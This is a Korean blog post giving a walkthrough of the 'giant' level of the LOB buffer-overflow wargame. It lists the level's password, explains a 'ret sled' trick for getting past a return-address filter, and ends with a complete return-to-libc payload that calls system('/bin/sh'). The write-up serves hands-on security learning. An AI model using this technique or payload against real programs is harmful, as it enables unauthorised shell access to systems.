cgy12306

[LOB] giant 본문

Wargame/LOB

[LOB] giant

cgy12306 2019. 9. 30. 10:51

ID : giant
PW : one step closer


return address에 들어갈 값이 bf와 40이면 종료를 한다.


어셈블리어로 봤을 때 ret의 주소는 0x0804851e이다. 필터링에 걸릴 것이 없다.

그러면 ret에 ret을 넣어줘서 다시 ret을 실행할 수 있게 해줄 수 있다.(Ret Sled기법)


ret은 return address를 eip에 넣고,  해당 주소로 이동한다.

간단하게 설명하자면
pop eip
jmp eip
로 표현이 가능하다. 


/bin/sh의 주소를 알아보자.




system의 주소를 확인해 보자.


A를 44개 넣어서 스택을 확인해보자.




시나리오를 구상해보면 A를 44개 넣어주고, ret이 실행될 때 다시 ret을 실행시켜서 system함수를 호출한다. 그 후에 /bin/sh을 실행 시킬 것이다.

페이로드는 다음과 같다.

./assassin `python -c 'print "A"*44 + "\x1e\x85\x04\x08" + "\xe0\x8a\x05\x40" + "A"*4 + "\xf9\xbf\x0f\x40"'`





'Wargame > LOB' 카테고리의 다른 글

[LOB] zombie_assassin  (0) 2019.09.30
[LOB] assassin  (0) 2019.09.30
[LOB] bugbear  (0) 2019.09.30
[LOB] darkknight  (0) 2019.09.30
[LOB] golem  (0) 2019.09.30
Comments